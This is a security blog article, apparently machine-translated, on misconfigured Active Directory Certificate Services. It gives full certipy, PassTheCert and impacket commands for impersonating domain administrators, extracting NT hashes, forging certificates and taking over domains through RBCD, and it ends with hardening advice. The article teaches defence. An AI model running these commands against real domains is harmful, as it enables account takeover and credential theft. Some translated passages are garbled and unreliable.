In this article, we address the risks of incorrect or incomplete setup of ADCS (Active Directory Certificate Services). Depending on the extent, an attacker can create certificates for any action and authorization, so there is a very high risk here. We'll show you the three biggest risk factors, describe possible attack routes and explain how you can protect yourself from them.
(Last update: August 13.03.2024th, XNUMX)
The Active Directory Certificate Services has been available under this name since Windows Server 2008, previously it was just called Root Certification Authority. Certificate Authority). The Active Directory Certificate Services are used to create your own public Key Infrastructure (PKI for short). Details on ADCS can be found in the corresponding article: Public Key Infrastructure with Active Directory Certificate Services
A comprehensive and structured setup and implementation of the AD certificate services is extremely important for protection against possible hacking attacks.
A misconfiguration of Active Directory Certificate Services can have far-reaching consequences. Therefore, below we describe some of the most important configuration steps when creating or adapting the certificate templates and present the consequences of some options. Since these can be useful and necessary when viewed individually, the combination of the settings is particularly relevant.
In the Subject name tab, two options are available:
Information is provided in the request: This option is e.g. B. active in the standard "Web server" template. Here it makes sense for an authorized administrator to specify the corresponding alternative names of a server in the certificate.
Attention: If this option is selected for user certificates, the subject can issue a certificate for any user. If the creation permissions are now set for all users (see below), a "normal" user can apply for certificates for the administrator.
Create from this information in Active Directory: If this option is selected, the information used is generated from the AD entries of the user or the computer. This is particularly useful for users: it prevents values from other users from being used.
The Authorizations tab corresponds to the familiar layout of authorization assignment. Ultimately, this is no different from other authorizations and the recommendation to use the usual specifications: "As few authorizations as possible".
The application guidelines define the intended use of the certificate. What is important here is the precise definition, adapted to the objective of the certificate. For example, a certificate for use in the web server or for code signing does not require client authentication.
The issuance of certificates with the application guideline "Any Purpose" is particularly critical. Experience shows that there are always configurations in which users or administrators can create these certificates. The application should be limited to an absolute minimum and the authorized account should be protected as best as possible.
The Subject Alternative Name or the check mark "Information will be provided in the request". You can be whoever you want with the alternative name: If the middle name is Administrator, that's also possible.
First you have to get the necessary information, so a classic case for Bloodhound. This requires valid user data from the domain, here our dcUser.
First the Bloodhound Dump for user and computer information:
bloodhound-python -u USER -p PASSWORD -d DOMAIN [-c all] -dc FQDN_DC [-ns ] --zip
After that with certificate (here 4.0) get the certificate information:
certipy find -u USER -p PASSWORD -target IP/FQDN_DC -old-bloodhound
Then drag the .zip's into the BloodhoundGUI for further analysis.
Suitable for the analysis custom queries from @Ly4k the author of certipy:
Here we have a 'Generic All' because the administrator made a mistake and gave all users full access. Something like this often happens as part of the implementation or troubleshooting and the "dismantling" is not done if it works. In this case, the Subject Alternative Name/Enrollee Supplies Subject = true is sufficient for us.
It continues on the shell with certypy:
certipy req -u USER -p PASSWORD -ca CA_NAME -target IP/FQDN_CA -template ESC1 -upn ADMINISTRATOR
Then use the certificate to log in:
certipy auth -pfx administrator.pfx
This gives you a TGT and the password hash. With the certificate you can always get a TGT and the hash as long as it is valid. Even changing the password of the user and the KRBTGT does not help here.
The domain is yours as long as the certificate is not revoked.
The "Any purpose" certificate. It is usually a CA or SubCA certificate and thus also has exactly the rights, the standard validity is 5 years. Since it can only be requested by administrative users, this is more of a persistence measure.
Requesting privileged certificates using an enrollment agent. With the enrollment agent certificate, we as other users can request a certificate with which we can extend our rights.
To do this, use certipy to request the Enrollment Agent certificate as usual and in a second step e.g. B. a user certificate of an administrator. Then you request a Kerberos ticket with certipy auth and read out the NTHash.
certipy req -u USER -p PASSWORD -ca CA_NAME -target IP/FQDN_CA -template ESC3.1 -on-behalf-of DOMAIN/ADMIN -pfx ESC3.pfx
This attack is based on a certificate template, which can be edited and modified accordingly by non-administrators. Attackers can find this out using Certipy and Bloodhound or by manually checking permissions for the individual templates in Active Directory Certificate Services. In detail, this attack works like this:
First, use Certipy to check for misconfigurations of the CA and the existing templates. First, use Certipy to check for misconfigurations of the CA and the existing templates:
certipy find -u <USER@DOMAIN> -p <PASSWORD> --vulnerable --stdout -dc-ip <IP-DOMAINCONTROLLER>
certipy template -u <USER@DOMAIN> -p <PASSWORD> -target <CA-FQDN> -template <ESC4-TEMPLATE>
Important to mention: YOU EDIT THE TEMPLATE LIVE IN THE TARGET DOMAIN!!!
That's why there is an option that you should definitely use, which is called “-save-old”. With this option you save the original template locally as a .json file and can therefore upload the old configuration again. The complete command looks like this:
certipy template -u <USER@DOMAIN> -p <PASSWORD> -target <CA-FQDN> -template <ESC4-TEMPLATE> -save-old
certipy req -u <USER@DOMAIN> -p <PASSWORD> -ca <CA_DISPLAY_NAME> -target <FQDN_CA> -template <ESC4-TEMPLATE-EDITED> -upn <ADMIN_ACCOUNT>
This problem is only indirectly related to the CA, but is a problem if you have administrative rights on the ADCS server. A "Golden Certificate" can be created, similar to the Kerberos Golden Ticket, only as a certificate. Because the CA root certificate was "stolen", valid certificates can still be created with it. Then request a Kerberos ticket with certipy auth and read out the NTHash.
certipy ca -backup -u USER -p PASSWORD -ca CA_NAME -target IP/FQDN_CA
certipy forge -ca-pfx ROOT_CA.pfx -upn ADMINISTRATOR -subject CN=ADMINISTRATOR,CN=USERS,DC=DOMAIN,DC=LOCAL
This parameter is set CA wide and enables ESC1 for all certificate templates, i.e. requesting alternative names. This can be found out with certipy or with certutil on Windows.
certutil -config "FQDN_DC\CA_NAME" -getreg policy\EditFlags
This time not the administrative rights to the server, but to the CA itself. The authorization “Manage CA” or “Manage Certificates”. The authorization is exploited to grant the user write rights to a certificate template and then to convert this to an ESC1.
certipy ca -u USER -p PASSWORD -ca CA_NAME -target IP/FQDN_CA -add-officer USER
This gives us the "Issue and Manage Certificates" authorization.
This allows us to approve failed requests ourselves and roll out the corresponding certificates. For example, the "SubCA" certificate, which by default only administrators may request.
After a failed request, be sure to save the "private key", this will be required later.
certipy ca -u USER -p PASSWORD -ca CA_NAME -target IP/FQDN_CA -issue-request REQ_ID
After releasing the request, which can also be used to bypass a "manager approval", collect the released certificate.
certipy req -u USER -p PASSWORD -ca CA_NAME -target IP/FQDN_CA -retrieve REQ_ID
The vulnerable web server. Fully in our Petit Potam article treated.
My computer is now named as the domain controller. To do this, the value for creating more computers in the domain must be set so that more can be added. By default, this is 10 (ms-DS-MachineAccountQuota) if you don't already have a more privileged account.
This vulnerability was patched by Microsoft in May 2022. Exploitation via Kerberos or Schannel is therefore not possible if CA and DC are patched.
The patch writes another parameter into the certificate, the szOID_NTDS_CA_SECURITY_EXT Lahore SID of the user.
If it wasn't patched after all or the CT_FLAG_NO_SECURITY_EXTENSION (0x80000) im msPKI-Enrollment-Flag is set, it still works. Create a new computer with certipy, but an alternate one dNSHostName register.
certipy account create -user NEW_COMPUTER -u USER -p PASSWORD -target IP/FQDN_DC -dns DC_NAME
Then you request a certificate. Because for computers certificates of dNSHostName is used, nothing has to be "manipulated" here. The Machine Certificate template is used for this.
If the login with the certificate does not work because it is not supported, you will receive the following error message:
Fehler:
eRR-PDATA-Type-NOSUPP
or
Error Code: 16 Reason: KDC has no support for PADATA.
type (pre-authentication data)
A tool from helps here AlmonOffSec, PassTheCert in C# and Python. LDAPS and LDAP are exploitable through StartTLS. LDAP ChannelBinding also has no negative effect on the attack through Schannel.
But first the .pfx must be converted into a .crt and a .key, i.e. have the private key and the certificate itself as independent data.
certipy cert -pfx ADMIN.pfx -nokey -out ADMIN.crt
certipy cert -pfx ADMIN.pfx -nocert -out ADMIN.key
After that, we'll create a new computer if we don't already have control over one. Login as the system should be possible with a password.
python3 PassTheCert/Python/passthecert.py -dc-ip IP_DC -crt ADMIN.crt -key ADMIN.key -domain DOMAIN -action add_computer -computer-name NEW_COMPUTER
After that we create a delegation from our "new computer" to the domain controller. msDS-AllowedToActOnBehalfOfOtherIdentity, a ResourceBasedConstrainedDelegation. That to help -delegate-from and -delegate-to: the from is the computer that I control and the data I write in the to, which is my goal.
python3 PassTheCert/Python/passthecert.py -dc-ip IP_DC -crt ADMIN.crt -key ADMIN.key -domain DOMAIN -action write_rbcd -delegate-from NEW_COMPUTER -delegate-to FQDN_DC
Request Kerberos with the delegated permissions, takeover.
impacket-getST -spn 'cifs/FQDN_DC' -impersonate Administrator 'DOMAIN/NEW_COMPUTER:PASSWORD' -dc-ip IP_DC
Certipy has also implemented an LDAP shell with simple commands, through which this scenario can also be exploited.
If you want to simulate the danger of incorrectly configured certificate templates in a pure Windows environment without using Kali Linux, you can do this using normal Windows board tools and the smart card emulator PIVert.
In our use case we use a Windows 10 client. In the MMC Console we add the corresponding snap-in for the certificates in order to then create a certificate from the existing templates.
"Fortunately" there is a template in our templates for creating a SmartCard certificate, in which we can enter the applicant's name ourselves. So we can create a certificate for the administrator as a registered standard user!
It is important to set the private key as exportable when creating it and to leave the applicant name blank for use in PIVert, otherwise problems can arise here.
After successfully creating the certificate, you must export it as *.pfx. The private key must be exported and a password must be specified.
You can then integrate this certificate into PIVert and emulate a corresponding SmartCard. This creates an RDP connection, in the example case as an administrator to the Active Directory Certificate Services.
A conscious and appropriate configuration of templates and permissions offers the best protection against attacks. In particular, the risks mentioned above must be considered and minimized during configuration.
Whenever possible, the applicant name should be taken directly from the AD user data and should not be editable by selecting "Create from this information in Active Directory" from the screenshot above.
Assign the permissions as restrictively as possible, especially if the subject name is not specified or the options of the certificate are very extensive.
Furthermore, when determining the application guidelines for defining the intended use, only select those in a certificate that are necessary for the intended use. Different templates are to be created for different fields of application.
The correct and conscious configuration of the certificate templates is the most important step in protecting against misuse and attacks.
Another way to minimize the risk of misuse is to enable manager approval. If you activate this in the corresponding certificate template, a certificate can be applied for, but the release must be done by an administrator on the ADCS. This makes it difficult to create certificates - this is associated with additional effort in the creation process.
Another challenge of this method is the "return" of the released certificates to the applicant. There are various options here, which we will not present in detail here:
A Microsoft security update has unexpectedly created a new security vulnerability that puts businesses at risk. This undocumented side effect could block users' Windows updates and cut off systems from future security updates. A potential nightmare for IT security and business management.
Two critical vulnerabilities in Spotfire's AI analytics platform could be exploited by hackers to threaten companies in the industrial, financial, and research sectors. Experts urge CEOs, CIOs, and CISOs to take these risks seriously and act strategically.
A security vulnerability in the WordPress plugin "SureTriggers" puts over 100.000 corporate websites at risk. This article highlights the risks and provides recommendations for effective IT security strategies.
